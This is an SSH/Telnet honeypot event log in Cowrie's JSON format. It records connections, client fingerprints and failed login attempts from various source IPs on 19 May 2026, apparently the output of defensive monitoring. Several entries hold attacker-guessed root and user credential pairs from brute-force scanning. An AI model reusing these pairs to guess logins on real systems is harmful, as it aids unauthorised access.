{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:58.584606Z","src_ip":"43.134.100.175","session":"67981e1ab122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60714,"dst_ip":"10.17.0.5","dst_port":23,"session":"0532798a4888","protocol":"telnet","message":"New connection: 192.119.13.58:60714 (10.17.0.5:23) [session: 0532798a4888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:58.951595Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"hive","message":"login attempt [root/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:31:59.603615Z","src_ip":"43.134.100.175","session":"67981e1ab122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:00.865104Z","src_ip":"43.134.100.175","session":"67981e1ab122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47494,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d6ab0cbc154","protocol":"telnet","message":"New connection: 192.119.13.58:47494 (10.17.0.5:23) [session: 0d6ab0cbc154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:02.585439Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51290,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4047d732216","protocol":"telnet","message":"New connection: 192.119.13.58:51290 (10.17.0.5:23) [session: a4047d732216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:10.026775Z"}
{"eventid":"cowrie.session.closed","duration":45.15364336967468,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:10.442498Z","src_ip":"192.119.13.58","session":"b8546c2e59a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":46260,"dst_ip":"10.17.0.5","dst_port":22,"session":"d938855fc154","protocol":"ssh","message":"New connection: 122.51.73.24:46260 (10.17.0.5:22) [session: d938855fc154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:12.797926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:12.803818Z","src_ip":"122.51.73.24","session":"d938855fc154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:13.075972Z","src_ip":"122.51.73.24","session":"d938855fc154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41078,"dst_ip":"10.17.0.5","dst_port":23,"session":"89a8d3d94ead","protocol":"telnet","message":"New connection: 192.119.13.58:41078 (10.17.0.5:23) [session: 89a8d3d94ead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:14.385826Z"}
{"eventid":"cowrie.login.failed","username":"louis","password":"louis","message":"login attempt [louis/louis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:14.496309Z","src_ip":"122.51.73.24","session":"d938855fc154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:15.774001Z","src_ip":"122.51.73.24","session":"d938855fc154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":40378,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa7ebedf217d","protocol":"ssh","message":"New connection: 150.109.25.130:40378 (159.203.135.109:22) [session: aa7ebedf217d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:16.950426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:16.956048Z","src_ip":"150.109.25.130","session":"aa7ebedf217d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:17.202777Z","src_ip":"150.109.25.130","session":"aa7ebedf217d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.13438653945923,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:18.005859Z","src_ip":"192.119.13.58","session":"02232d125fa5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"345ert","message":"login attempt [root/345ert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:18.217256Z","src_ip":"150.109.25.130","session":"aa7ebedf217d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.36086916923523,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:18.565525Z","src_ip":"192.119.13.58","session":"30fe6aaee274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":59494,"dst_ip":"159.203.135.109","dst_port":22,"session":"cec8a2b1ac2a","protocol":"ssh","message":"New connection: 77.94.47.83:59494 (159.203.135.109:22) [session: cec8a2b1ac2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:19.112895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:19.117993Z","src_ip":"77.94.47.83","session":"cec8a2b1ac2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":44528,"dst_ip":"159.203.135.109","dst_port":22,"session":"0363addb760d","protocol":"ssh","message":"New connection: 147.45.199.80:44528 (159.203.135.109:22) [session: 0363addb760d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:19.168086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:19.175789Z","src_ip":"147.45.199.80","session":"0363addb760d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:19.242753Z","src_ip":"77.94.47.83","session":"cec8a2b1ac2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.34820199012756,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:19.252522Z","src_ip":"192.119.13.58","session":"182de4a9a7b4","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:19.277944Z","src_ip":"147.45.199.80","session":"0363addb760d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:19.466335Z","src_ip":"150.109.25.130","session":"aa7ebedf217d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ssssssss","message":"login attempt [root/ssssssss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:19.587139Z","src_ip":"147.45.199.80","session":"0363addb760d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19791979","message":"login attempt [root/19791979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:19.619693Z","src_ip":"77.94.47.83","session":"cec8a2b1ac2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:20.691868Z","src_ip":"147.45.199.80","session":"0363addb760d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:20.748225Z","src_ip":"77.94.47.83","session":"cec8a2b1ac2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54192,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8ec0a322def","protocol":"telnet","message":"New connection: 192.119.13.58:54192 (10.17.0.5:23) [session: b8ec0a322def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:24.351899Z"}
{"eventid":"cowrie.session.closed","duration":46.16239309310913,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:24.721107Z","src_ip":"192.119.13.58","session":"4fe21d9f246f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.12452435493469,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:25.272566Z","src_ip":"192.119.13.58","session":"bc6adec226ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.66609239578247,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:27.067235Z","src_ip":"192.119.13.58","session":"0a68dcf9b034","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42570,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c1be22d1e66","protocol":"telnet","message":"New connection: 192.119.13.58:42570 (10.17.0.5:23) [session: 1c1be22d1e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:28.556094Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48248,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dca9f9056f7","protocol":"telnet","message":"New connection: 192.119.13.58:48248 (10.17.0.5:23) [session: 3dca9f9056f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:30.897972Z"}
{"eventid":"cowrie.session.closed","duration":33.45549297332764,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:32.406972Z","src_ip":"192.119.13.58","session":"0532798a4888","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36402,"dst_ip":"10.17.0.5","dst_port":23,"session":"86dd022bc63d","protocol":"telnet","message":"New connection: 192.119.13.58:36402 (10.17.0.5:23) [session: 86dd022bc63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:33.628059Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60074,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3f7ab757747","protocol":"telnet","message":"New connection: 192.119.13.58:60074 (10.17.0.5:23) [session: f3f7ab757747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:39.121565Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":41550,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7c4b14b4056","protocol":"ssh","message":"New connection: 165.154.5.249:41550 (159.203.135.109:22) [session: c7c4b14b4056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:39.348528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:39.353364Z","src_ip":"165.154.5.249","session":"c7c4b14b4056","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:39.564648Z","src_ip":"165.154.5.249","session":"c7c4b14b4056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elf","message":"login attempt [root/elf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:40.441188Z","src_ip":"165.154.5.249","session":"c7c4b14b4056","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:41.655828Z","src_ip":"165.154.5.249","session":"c7c4b14b4056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":34410,"dst_ip":"10.17.0.5","dst_port":22,"session":"0365466f4373","protocol":"ssh","message":"New connection: 175.118.127.138:34410 (10.17.0.5:22) [session: 0365466f4373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:41.894519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:41.900570Z","src_ip":"175.118.127.138","session":"0365466f4373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:42.079803Z","src_ip":"175.118.127.138","session":"0365466f4373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.933321475982666,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:42.518674Z","src_ip":"192.119.13.58","session":"0d6ab0cbc154","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"global","password":"global@123","message":"login attempt [global/global@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:32:42.827738Z","src_ip":"175.118.127.138","session":"0365466f4373","protocol":"ssh"}
